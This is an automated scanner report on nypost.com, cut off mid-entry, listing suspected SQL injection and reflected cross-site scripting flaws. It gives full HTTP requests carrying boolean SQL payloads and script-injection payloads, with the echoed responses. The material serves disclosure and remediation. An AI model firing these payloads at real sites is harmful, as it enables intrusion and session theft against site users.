Report generated by XSS.CX at Sat Nov 13 20:07:34 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research


Contents

Loading

1. SQL injection

1.1. http://www.nypost.com/mobile/ [REST URL parameter 1]

1.2. http://www.nypost.com/p/news/national/capri_anderson_FcDKY3GCmjJsBuMZpQN1QI [REST URL parameter 1]

2. Cross-site scripting (reflected)

2.1. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/hbx_original.js [REST URL parameter 2]

2.2. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/hbx_original.js [REST URL parameter 3]

2.3. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/hbx_original.js [REST URL parameter 4]

2.4. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/hbx_original.js [REST URL parameter 5]

2.5. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/hbx_original.js [REST URL parameter 6]

2.6. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/migration.js [REST URL parameter 2]

2.7. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/migration.js [REST URL parameter 3]

2.8. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/migration.js [REST URL parameter 4]

2.9. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/migration.js [REST URL parameter 5]

2.10. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/migration.js [REST URL parameter 6]

2.11. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js [REST URL parameter 2]

2.12. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js [REST URL parameter 3]

2.13. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js [REST URL parameter 4]

2.14. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js [REST URL parameter 5]

2.15. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js [REST URL parameter 6]



1. SQL injection  next
There are 2 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://www.nypost.com/mobile/ [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.nypost.com
Path:   /mobile/

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payloads 38938445'%20or%201%3d1--%20 and 38938445'%20or%201%3d2--%20 were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /mobile38938445'%20or%201%3d1--%20/ HTTP/1.1
Host: www.nypost.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: tracklink=; __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sb_session_id=a5e25089-a427-4cd1-989e-ef5e82dd5c50; ipd_a1=ipd_a1; __utma=1.1967664957.1286663223.1288646511.1288647366.3; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOiIzIiwic3N0IjoiMTI4ODY0NzM4NCIsInNwdCI6MTI4ODY0NzM5NSwic3BkIjoyLCJucHYiOjUsInN1ciI6IiJ9; UnicaID=bHMpUfJ6H2F-Wob5vOe; __utmc=1; __utmb=1.3.10.1288647366;

Response 1

HTTP/1.1 404 Not Found
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate
Expires: Mon, 01 Nov 2010 21:40:02 GMT
Date: Mon, 01 Nov 2010 21:40:02 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 50510

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<!-- Methode uuid: "36698452-7651-11de-a3ca-f4cf178e5c7b" -->
<head>
...[SNIP]...
<li onclick="href('/p/news/local/brooklyn/yemen_is_the_anagram_for_enemy_94L4h2vwp3Nw1yEZJ6B4SN')">
                               <h4>Yemen is the anagram for 'enemy'</h4>
                               <p>
                                   sabruzzo@cnglocal.com sabruzzo@CNGlocal.com... &nbsp;</p>
                               <div class="btn default">
<div class="btn_lt"></div>
<div class="btn_body">
<a href="/news/local/brooklyn" name="&lid=btn&lpos=
Brooklyn
">
<span class="prefix">From</span>
Brooklyn
</a>
</div>
<div class="btn_rt"></div>
<div class="clearer"></div>
</div></li>

                       <li onclick="href('/p/news/local/brooklyn/king_con_lives_up_to_its_name_starting_R8I6MpTsaSezJnyNrXQ4XP')">
                               <h4>King Con lives up to its name ... starting on Thursday</h4>
                               <p>
                                   Call it King Con: The Revenge. The plucky independent comic, animation and illustration convention that playfully thumbs its nose at those Hollywood-heavy superhero trade shows in San Diego and Manhattan is back and... &nbsp;</p>
                               <div class="btn default">
<div class="btn_lt"></div>
<div class="btn_body">
<a href="/news/local/brooklyn" name="&lid=btn&lpos=
Brooklyn
">
<span class="prefix">From</span>
Brooklyn
</a>
</div>
<div class="btn_rt"></div>
<div class="clearer"></div>
</div></li>

                       <li onclick="href('/p/news/local/long_island_attorney_found_guilty_ZiZ2KRnADo4BOHVl76GYWM')">
                               <img alt="Long Island attorney found guilty in $300K adoption scheme
" src="/rw/nypost/2010/11/01/news/photos_stories/102510_Court_VA_10153747--140x100.JPG" />
                               <h4>Long Island attorney found guilty in $300K adoption scheme
</h4>
                               <p>
                                   MINEOLA, N.Y. &mdash; A New York attorney who advertised himself as an adoption expert has been convicted of stealing more than $300,000 from prospective parents for babies that did not exist. Kevin Cohen was convicted... &nbsp;</p>
                               <div class
...[SNIP]...

Request 2

GET /mobile38938445'%20or%201%3d2--%20/ HTTP/1.1
Host: www.nypost.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: tracklink=; __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sb_session_id=a5e25089-a427-4cd1-989e-ef5e82dd5c50; ipd_a1=ipd_a1; __utma=1.1967664957.1286663223.1288646511.1288647366.3; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOiIzIiwic3N0IjoiMTI4ODY0NzM4NCIsInNwdCI6MTI4ODY0NzM5NSwic3BkIjoyLCJucHYiOjUsInN1ciI6IiJ9; UnicaID=bHMpUfJ6H2F-Wob5vOe; __utmc=1; __utmb=1.3.10.1288647366;

Response 2

HTTP/1.1 404 Not Found
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate
Expires: Mon, 01 Nov 2010 21:40:03 GMT
Date: Mon, 01 Nov 2010 21:40:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 50455

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<!-- Methode uuid: "36698452-7651-11de-a3ca-f4cf178e5c7b" -->
<head>
...[SNIP]...
<li onclick="href('/p/sports/college/football/syracuse_winning_games_but_losing_901KXgScXP17zDdf2rQtDP')">
                               <h4>Syracuse winning games but losing players
</h4>
                               <p>
                                   SYRACUSE -- Entering the home stretch of the season, Syracuse coach Doug Marrone&rsquo;s biggest worry seems to be his dwindling roster. &ldquo;We&rsquo;re banged up and we don&rsquo;t have a bye week,&rdquo; Marrone said Monday. &ldquo;It is difficult.... &nbsp;</p>
                               <div class="btn default">
<div class="btn_lt"></div>
<div class="btn_body">
<a href="/sports/college/football" name="&lid=btn&lpos=
Football
">
<span class="prefix">From</span>
Football
</a>
</div>
<div class="btn_rt"></div>
<div class="clearer"></div>
</div></li>

                       <li onclick="href('/p/news/local/brooklyn/this_weekend_sales_and_markets_nBvVVaJrKPCDgUx9NPqoRM')">
                               <h4>This weekend's sales and markets</h4>
                               <p>
                                   Lots of exciting market news this week, so let&rsquo;s get right to it. Brooklyn Designers Showcase You won&rsquo;t find the Brooklyn Designers Showcase in a hip venue or gallery; rather, local talent shows off its wares at a... &nbsp;</p>
                               <div class="btn default">
<div class="btn_lt"></div>
<div class="btn_body">
<a href="/news/local/brooklyn" name="&lid=btn&lpos=
Brooklyn
">
<span class="prefix">From</span>
Brooklyn
</a>
</div>
<div class="btn_rt"></div>
<div class="clearer"></div>
</div></li>

                       <li onclick="href('/p/news/local/brooklyn/yemen_is_the_anagram_for_enemy_94L4h2vwp3Nw1yEZJ6B4SN')">
                               <h4>Yemen is the anagram for 'enemy'</h4>
                               <p>
                                   sabruzzo@cnglocal.com sabruzzo@CNGlocal.com... &nbsp;</p>
                               <div class="btn default">
<div class="btn_lt"></div>
<div class="btn_body">
<a href="/news/local/brooklyn" name="&lid=btn&lpos=
Brooklyn

...[SNIP]...

1.2. http://www.nypost.com/p/news/national/capri_anderson_FcDKY3GCmjJsBuMZpQN1QI [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.nypost.com
Path:   /p/news/national/capri_anderson_FcDKY3GCmjJsBuMZpQN1QI

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /p'%20and%201%3d1--%20/news/national/capri_anderson_FcDKY3GCmjJsBuMZpQN1QI HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; ipd_a1=ipd_a1; __utma=1.1967664957.1286663223.1288646511.1288647366.3; __utmc=1; __utmb=1.1.10.1288647366; tracklink=; sb_session_id=a5e25089-a427-4cd1-989e-ef5e82dd5c50; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOjMsInNzdCI6MTI4ODY0NzM4NCwic3B0IjoxMjg4NjQ3Mzg0LCJzcGQiOjEsIm5wdiI6NCwic3VyIjoiIn0

Response 1

HTTP/1.1 404 Not Found
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate
Expires: Mon, 01 Nov 2010 21:37:48 GMT
Date: Mon, 01 Nov 2010 21:37:48 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 50494

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<!-- Methode uuid: "36698452-7651-11de-a3ca-f4cf178e5c7b" -->
<head>
...[SNIP]...
<li onclick="href('/p/sports/college/football/syracuse_winning_games_but_losing_901KXgScXP17zDdf2rQtDP')">
                               <h4>Syracuse winning games but losing players
</h4>
                               <p>
                                   SYRACUSE -- Entering the home stretch of the season, Syracuse coach Doug Marrone&rsquo;s biggest worry seems to be his dwindling roster. &ldquo;We&rsquo;re banged up and we don&rsquo;t have a bye week,&rdquo; Marrone said Monday. &ldquo;It is difficult.... &nbsp;</p>
                               <div class="btn default">
<div class="btn_lt"></div>
<div class="btn_body">
<a href="/sports/college/football" name="&lid=btn&lpos=
Football
">
<span class="prefix">From</span>
Football
</a>
</div>
<div class="btn_rt"></div>
<div class="clearer"></div>
</div></li>

                       <li onclick="href('/p/news/local/brooklyn/this_weekend_sales_and_markets_nBvVVaJrKPCDgUx9NPqoRM')">
                               <h4>This weekend's sales and markets</h4>
                               <p>
                                   Lots of exciting market news this week, so let&rsquo;s get right to it. Brooklyn Designers Showcase You won&rsquo;t find the Brooklyn Designers Showcase in a hip venue or gallery; rather, local talent shows off its wares at a... &nbsp;</p>
                               <div class="btn default">
<div class="btn_lt"></div>
<div class="btn_body">
<a href="/news/local/brooklyn" name="&lid=btn&lpos=
Brooklyn
">
<span class="prefix">From</span>
Brooklyn
</a>
</div>
<div class="btn_rt"></div>
<div class="clearer"></div>
</div></li>

                       <li onclick="href('/p/news/local/brooklyn/yemen_is_the_anagram_for_enemy_94L4h2vwp3Nw1yEZJ6B4SN')">
                               <h4>Yemen is the anagram for 'enemy'</h4>
                               <p>
                                   sabruzzo@cnglocal.com sabruzzo@CNGlocal.com... &nbsp;</p>
                               <div class="btn default">
<div class="btn_lt"></div>
<div class="btn_body">
<a href="/news/local/brooklyn" name="&lid=btn&lpos=
Brooklyn

...[SNIP]...

Request 2

GET /p'%20and%201%3d2--%20/news/national/capri_anderson_FcDKY3GCmjJsBuMZpQN1QI HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; ipd_a1=ipd_a1; __utma=1.1967664957.1286663223.1288646511.1288647366.3; __utmc=1; __utmb=1.1.10.1288647366; tracklink=; sb_session_id=a5e25089-a427-4cd1-989e-ef5e82dd5c50; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOjMsInNzdCI6MTI4ODY0NzM4NCwic3B0IjoxMjg4NjQ3Mzg0LCJzcGQiOjEsIm5wdiI6NCwic3VyIjoiIn0

Response 2

HTTP/1.1 404 Not Found
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate
Expires: Mon, 01 Nov 2010 21:37:48 GMT
Date: Mon, 01 Nov 2010 21:37:48 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 50549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<!-- Methode uuid: "36698452-7651-11de-a3ca-f4cf178e5c7b" -->
<head>
...[SNIP]...
<li onclick="href('/p/news/local/brooklyn/yemen_is_the_anagram_for_enemy_94L4h2vwp3Nw1yEZJ6B4SN')">
                               <h4>Yemen is the anagram for 'enemy'</h4>
                               <p>
                                   sabruzzo@cnglocal.com sabruzzo@CNGlocal.com... &nbsp;</p>
                               <div class="btn default">
<div class="btn_lt"></div>
<div class="btn_body">
<a href="/news/local/brooklyn" name="&lid=btn&lpos=
Brooklyn
">
<span class="prefix">From</span>
Brooklyn
</a>
</div>
<div class="btn_rt"></div>
<div class="clearer"></div>
</div></li>

                       <li onclick="href('/p/news/local/brooklyn/king_con_lives_up_to_its_name_starting_R8I6MpTsaSezJnyNrXQ4XP')">
                               <h4>King Con lives up to its name ... starting on Thursday</h4>
                               <p>
                                   Call it King Con: The Revenge. The plucky independent comic, animation and illustration convention that playfully thumbs its nose at those Hollywood-heavy superhero trade shows in San Diego and Manhattan is back and... &nbsp;</p>
                               <div class="btn default">
<div class="btn_lt"></div>
<div class="btn_body">
<a href="/news/local/brooklyn" name="&lid=btn&lpos=
Brooklyn
">
<span class="prefix">From</span>
Brooklyn
</a>
</div>
<div class="btn_rt"></div>
<div class="clearer"></div>
</div></li>

                       <li onclick="href('/p/news/local/long_island_attorney_found_guilty_ZiZ2KRnADo4BOHVl76GYWM')">
                               <img alt="Long Island attorney found guilty in $300K adoption scheme
" src="/rw/nypost/2010/11/01/news/photos_stories/102510_Court_VA_10153747--140x100.JPG" />
                               <h4>Long Island attorney found guilty in $300K adoption scheme
</h4>
                               <p>
                                   MINEOLA, N.Y. &mdash; A New York attorney who advertised himself as an adoption expert has been convicted of stealing more than $300,000 from prospective parents for babies that did not exist. Kevin Cohen was convicted... &nbsp;</p>
                               <div class
...[SNIP]...

2. Cross-site scripting (reflected)  previous
There are 15 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/hbx_original.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/hbx_original.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 2d293<script>alert(1)</script>b9fb43ca26e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfig2d293<script>alert(1)</script>b9fb43ca26e/WebPortal/nypost/unica/hbx_original.js?v=nim20100505 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/pagesix
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmc=1; __utmb=1.1.10.1288646511; ipd_a1=ipd_a1; sb_session_id=db45c7c9-322a-4318-b878-6a3225ad21f9; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOjIsInNzdCI6MTI4ODY0NjUyOSwic3B0IjoxMjg4NjQ2NTI5LCJzcGQiOjEsIm5wdiI6Miwic3VyIjoiIn0; tracklink=||%26lid%3Dfh_label%26lpos%3Dpagesix||fh_label||pagesix||Page%20Six||txt

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 708
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:32:10 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfig2d293<script>alert(1)</script>b9fb43ca26e/WebPortal/nypost/unica/hbx_original.js</p>
...[SNIP]...

2.2. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/hbx_original.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/hbx_original.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 56155<script>alert(1)</script>0ba09b6f7cc was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfig/WebPortal56155<script>alert(1)</script>0ba09b6f7cc/nypost/unica/hbx_original.js?v=nim20100505 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/pagesix
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmc=1; __utmb=1.1.10.1288646511; ipd_a1=ipd_a1; sb_session_id=db45c7c9-322a-4318-b878-6a3225ad21f9; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOjIsInNzdCI6MTI4ODY0NjUyOSwic3B0IjoxMjg4NjQ2NTI5LCJzcGQiOjEsIm5wdiI6Miwic3VyIjoiIn0; tracklink=||%26lid%3Dfh_label%26lpos%3Dpagesix||fh_label||pagesix||Page%20Six||txt

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 708
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:32:21 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfig/WebPortal56155<script>alert(1)</script>0ba09b6f7cc/nypost/unica/hbx_original.js</p>
...[SNIP]...

2.3. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/hbx_original.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/hbx_original.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 49b09<script>alert(1)</script>052eea268a was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfig/WebPortal/nypost49b09<script>alert(1)</script>052eea268a/unica/hbx_original.js?v=nim20100505 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/pagesix
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmc=1; __utmb=1.1.10.1288646511; ipd_a1=ipd_a1; sb_session_id=db45c7c9-322a-4318-b878-6a3225ad21f9; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOjIsInNzdCI6MTI4ODY0NjUyOSwic3B0IjoxMjg4NjQ2NTI5LCJzcGQiOjEsIm5wdiI6Miwic3VyIjoiIn0; tracklink=||%26lid%3Dfh_label%26lpos%3Dpagesix||fh_label||pagesix||Page%20Six||txt

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 707
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:32:30 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfig/WebPortal/nypost49b09<script>alert(1)</script>052eea268a/unica/hbx_original.js</p>
...[SNIP]...

2.4. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/hbx_original.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/hbx_original.js

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload c4fe2<script>alert(1)</script>87bbed394bb was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfig/WebPortal/nypost/unicac4fe2<script>alert(1)</script>87bbed394bb/hbx_original.js?v=nim20100505 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/pagesix
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmc=1; __utmb=1.1.10.1288646511; ipd_a1=ipd_a1; sb_session_id=db45c7c9-322a-4318-b878-6a3225ad21f9; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOjIsInNzdCI6MTI4ODY0NjUyOSwic3B0IjoxMjg4NjQ2NTI5LCJzcGQiOjEsIm5wdiI6Miwic3VyIjoiIn0; tracklink=||%26lid%3Dfh_label%26lpos%3Dpagesix||fh_label||pagesix||Page%20Six||txt

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 708
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:32:39 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfig/WebPortal/nypost/unicac4fe2<script>alert(1)</script>87bbed394bb/hbx_original.js</p>
...[SNIP]...

2.5. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/hbx_original.js [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/hbx_original.js

Issue detail

The value of REST URL parameter 6 is copied into the HTML document as plain text between tags. The payload 88230<script>alert(1)</script>09a09fa8c53 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

